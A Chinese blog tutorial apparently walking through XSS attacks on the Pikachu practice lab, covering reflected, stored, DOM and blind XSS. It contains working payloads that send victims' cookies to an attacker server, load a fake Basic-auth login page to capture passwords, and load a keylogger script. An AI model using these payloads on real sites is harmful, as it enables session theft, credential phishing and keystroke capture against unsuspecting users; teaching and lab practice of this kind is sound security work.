逍遥子

永不消逝的漏洞—XSS
什么是xssXSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户。 XSS漏洞可以用来进行钓鱼攻击...
扫描右侧二维码阅读全文
06
2019/11

永不消逝的漏洞—XSS

视频不能播放的,用360或者GOOGLE浏览器查看本文!

什么是xss

XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户。 XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、盗取用户cookie,甚至对主机进行远程控制。
timg.jpg

XSS攻击类型

危害:存储型 > 反射型 > DOM型

反射型:交互的数据一般不会被存在数据库里面,一次性,所见即所得,一般出现在查询页面等
存储型:交互的数据会被存在数据库里面,永久性存储,一般出现在留言板,注册等页面
DOM型:不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性,也属于反射型

XSS形成原因

形成XSS漏洞的主要原因是程序中输入和输出的控制不够严格。导致“精心构造”的脚本输入后,在输出到前端时被浏览器当作有效代码解析执行

反射型XSS(get)

我们首先打开Pikachu右键审查元素。
xss
我们看到对文本框的最大长度做出了限制,修改maxlength="20"即可。
payload

<script>alert("kali博客")</script>

可以干什么——盗取Cookie

修改/pikachu/pkxss/inc/config.inc.php 中的数据库信息访问 http://localhost/pikachu ,访问管理工具里的XSS后台,初始化数据库。
cookie.png
登录到后台界面
xss后台
修改/var/www/html/pikachu/pkxss/xcookie下的cookie.php,将IP地址改为漏洞服务器的地址
coook
cookie.php用于接收受害者的cookie,然后将页面重定向到漏洞服务器的index页面,我们构造的Payload如下

<script>document.location = 'http://192.168.1.14/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>


返回到后台
cookie
由于是GET类型的XSS漏洞,我们可以直接构造一个带有Payload的URL,诱使受害者点击就能取得Cookie
http://192.168.1.14/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.1.7%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

反射型XSS(post)

我们登录一下,默认账号密码是admin 123456
ss
这时候我们不能直接把我们的恶意代码嵌入到URL中

攻击思路如下
xil.png
1.我们需要自己搭一个恶意站点,然后在网站上放一个post表单
2.将存放POST表单的链接发送给受害者,诱导受害者点击
3.这个POST表单会自动向漏洞服务器提交一个POST请求,实现受害者帮我们提交POST请求的目的
这个POST表单页面是位于攻击者的Kali机器上 /var/www/html/pikachu/pkxss/xcookie 下名为 post.html 的文件
我们需要修改里面 漏洞服务器攻击者 的服务器地址
地址.png
post.html页面的作用是:当用户访问这个页面时,会自动向漏洞服务器发送POST请求,然后重定向到漏洞服务器的index页面
http://192.168.1.14/pkxss/xcookie/post.html
我们只需要诱导受害者点击上面的链接就能窃取用户的Cookie

存储型XSS

存储型XSS和反射型XSS形成的原因是一样的,不同的是存储型XSS下攻击者的可以将脚本注入到后台存储起来,构成更加持久的危害。

我们输入的东西,也直接输出在 p 标签中,看起来没有经过任何转义和处理
下面输入下面的Payload进行测试
<script>alert("xss")</script>

成功弹窗,需要注意的是该弹窗是永久性的,当每个人访问这个页面时,都会弹出该窗口。

存储型XSS漏洞利用

我们这里用一个Basic认证去做这个钓鱼攻击。我们在一个存在XSS漏洞的页面上面嵌入一个恶意请求,当用户打开这个页面。这个页面就会像攻击者的服务器发送请求,这个请求会返回一个Basic认证的头部。这时候会弹出一个提示框,要求受害者输入账号密码,从而盗取用户的账号密码
首先攻击者需要构造一个钓鱼页面,用来将发送Basic认证的认证框。修改 /var/www/html/pikachu/pkxss/xfish 下的 fish.php 文件,将IP地址改为攻击者的服务器地址。
构造的Payload如下

<script src="http://192.168.1.14/pkxss/xfish/fish.php"></script> 

当用户访问这个留言板时,会出现下面的认证框(永久性)

然后在后台 我们就可以看到刚才记录的密码。

键盘记录

修改 /var/www/html/pikachu/pkxss/rkeypress rk.js 中的IP地址为攻击者地址
rk.js 是攻击代码,我们可以把这个 js 文件放到我们的恶意站点上,然后通过有 XSS 漏洞的页面去调用
这个文件可以记录用户的键盘操作,然后异步发送给攻击者
我们可以用下面的Payload测试一下

<script src="http://192.168.1.14/pkxss/rkeypress/rk.js"></script>

当每个人访问留言板时,就会激活上面的代码。从而获取键盘记录。
键盘记录.png

DOM型XSS

DOM可以理解为访问HTML的标准接口,DOM里面会把我们的HTML分成一个DOM树
s.png
我们可以以这棵树为入口,通过DOM的某些方法对树进行操作,比如对标签的添加、改变和删除等等
DOM这个东西相当于在前端提供了一个通过JS去对HTML进行操作的接口
构造的Payload如下
#' onclick=alert("xss")>

XSS之盲打

XSS盲打不是攻击类型,而是一个攻击场景
盲打.png
我们在前台输入
QQ截图20191106121716.png
提交后我们输入的内容不会在前对输出,而是提交到了后台,可能管理员会去看。如果我们输入一个JS代码,管理员登录后台管理界面,如果后台把我们的内容输出。那后台管理员可能遭受到我们的XSS攻击,我们提交以下内容

<script>alert("I'm Iron Man")</script>

QQ截图20191106122057.png
一旦管理员登录后台,便遭受了XSS攻击。

告辞!


本文的宗旨在于普及网络安全知识,请读者不要根据此教程做违法行为,造成后果自负,与本站无关。

友情提示!视频由于编码的问题,部分手机浏览器播放不了。请用电脑观看!!!

Last modification:November 7th, 2019 at 06:27 pm
正在沿街乞讨中……

Leave a Comment